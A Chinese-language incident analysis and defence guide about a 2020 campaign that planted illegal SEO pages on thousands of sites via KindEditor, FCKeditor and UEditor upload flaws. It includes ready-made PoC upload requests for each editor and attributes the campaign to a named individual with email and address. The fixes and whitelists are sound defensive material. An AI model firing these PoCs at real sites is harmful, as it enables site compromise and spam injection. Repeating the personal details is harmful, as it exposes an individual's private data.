溯源黑帽利用Web编辑器漏洞非法植入SEO页面事件
字数 1459 2025-08-15 21:31:27
Web编辑器漏洞分析与防御指南
一、事件背景
2020年4月至6月期间,知道创宇威胁情报中心监测到:
- 6,802个网站被植入非法SEO内容
- 总计4,955,586个非法SEO页面
- 主要利用KindEditor、UEditor和FCKeditor等Web编辑器的漏洞
受影响网站分布
- 省份分布:全国范围均有分布
- 网站性质:
- 企业网站:67%
- 政府机关、事业单位:4%
- 页面存活率:部分非法页面长期存在
二、攻击手法分析
1. 非法SEO页面类型
- 自动跳转到非法赌博/色情网站
- 包含大量暗链的页面
- 伪装成404错误页面
- 将非法内容写入PDF文件
- 在HTML头部隐藏跳转脚本
- 直接植入非法赌博页面
- 在搜狗页面隐藏色情内容
2. 主要利用的编辑器漏洞
(1) KindEditor编辑器漏洞
- 影响版本:<4.1.12
- 漏洞文件:
upload_json.php/asp/jsp - 漏洞原因:
- 演示程序未删除
- 未检查访问者权限
- 允许任意文件上传
POC示例:
POST /asp/upload_json.asp?dir=file HTTP/1.1
Host: www.target.com
Content-Type: multipart/form-data; boundary=9f9be5bc74ffdc89
--9f9be5bc74ffdc89
Content-Disposition: form-data; name="imgFile"; filename="test.html"
Content-Type: text/html
<!DOCTYPE html><html>恶意内容</html>
(2) FCKeditor编辑器漏洞
- 影响版本:PHP版本<=2.4.2
- 漏洞接口:
/editor/filemanager/browser/default/connectors/php/connector.php ?Command=FileUpload&Type=File&CurrentFolder=/ - 漏洞原因:
- 仅做简单后缀名黑名单限制
- 未对内容进行过滤
- 无权限限制
POC示例:
POST /connector.php?Command=FileUpload&Type=File&CurrentFolder=/ HTTP/1.1
Host: www.target.com
Content-Type: multipart/form-data; boundary=29373750073747171394011132748
--29373750073747171394011132748
Content-Disposition: form-data; name="NewFile"; filename="test.html"
Content-Type: text/html
<!DOCTYPE html><html>恶意内容</html>
(3) UEditor编辑器漏洞
- 影响版本:1.4.3.3 .NET版本
- 漏洞接口:
/ueditor/net/controller.ashx?action=catchimage - 漏洞原因:
- 上传接口暴露
- 仅检查ContentType包含"image"
- 无其他安全限制
POC示例:
POST /ueditor/net/controller.ashx?action=catchimage HTTP/1.1
Host: www.target.com
Content-Type: application/x-www-form-urlencoded
source[]=http://恶意网站.com
三、攻击溯源分析
1. 攻击者特征
- IP分布:
- 河北、江苏、山东等地
- 部分来自美国、日本
- 攻击模式:
- 每5-10秒发送一次POST请求
- 使用自动化工具批量上传
- 短时间内大量尝试不同网站
2. 暗链分析
攻击者植入的共同暗链:
- www.ikaidian.net/css.js - 伪造虚假八卦消息
- www.htmljpg.com - 伪装小说网站
- www.113112.xyz - 存储色情图片
3. 攻击者信息
通过分析暗链内容发现:
- 邮箱:fa885168@gmail.com
- 姓名:facai chen
- 地址:广东省中山市中山街
- 电话:+86.1317****648
四、防御建议
1. 通用防御措施
- 及时升级编辑器到最新版本
- 删除不必要的演示文件
- 限制上传文件类型
- 对上传内容进行严格过滤
- 设置上传目录不可执行
2. 针对各编辑器的具体修复方案
(1) KindEditor修复方案
- 升级到4.1.12或更高版本
- 删除
upload_json.php/asp/jsp等演示文件 - 配置上传白名单:
$ext_arr = array( 'image' => array('gif', 'jpg', 'jpeg', 'png', 'bmp'), 'flash' => array('swf', 'flv'), 'media' => array('swf', 'flv', 'mp3', 'wav', 'wma', 'wmv', 'mid', 'avi', 'mpg', 'asf', 'rm', 'rmvb'), 'file' => array('doc', 'docx', 'xls', 'xlsx', 'ppt', 'htm', 'html', 'txt', 'zip', 'rar', 'gz', 'bz2'), );
(2) FCKeditor修复方案
- 升级到最新版本
- 修改
config.php增加严格限制:$Config['Enabled'] = false; //默认禁用上传 $Config['UserFilesPath'] = '/userfiles/'; //限制上传目录 $Config['DeniedExtensions']['File'] = array('html','htm','php','php3','php4','php5','phtml','asp','aspx'); //禁止危险扩展名
(3) UEditor修复方案
- 升级到最新版本
- 修改
config.json配置:{ "imageAllowFiles": [".png", ".jpg", ".jpeg", ".gif", ".bmp"], "scrawlAllowFiles": [".png"], "videoAllowFiles": [".flv", ".swf", ".mp4"], "fileAllowFiles": [".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".pdf", ".txt"] } - 增加权限验证逻辑
3. 监控与应急响应
- 定期检查网站目录中的异常文件
- 监控上传接口的访问日志
- 发现攻击后立即:
- 删除恶意文件
- 修复漏洞
- 更改相关密码
- 检查服务器是否被进一步入侵
五、总结
本次事件反映出Web编辑器安全配置的普遍问题:
- 默认配置不安全
- 演示文件未删除
- 上传功能缺乏严格限制
- 安全意识不足
建议所有使用Web编辑器的网站:
- 立即检查并修复相关漏洞
- 建立长期的安全维护机制
- 定期进行安全审计
- 关注安全厂商的漏洞通告
通过采取以上措施,可有效防范类似攻击,保护网站安全和用户利益。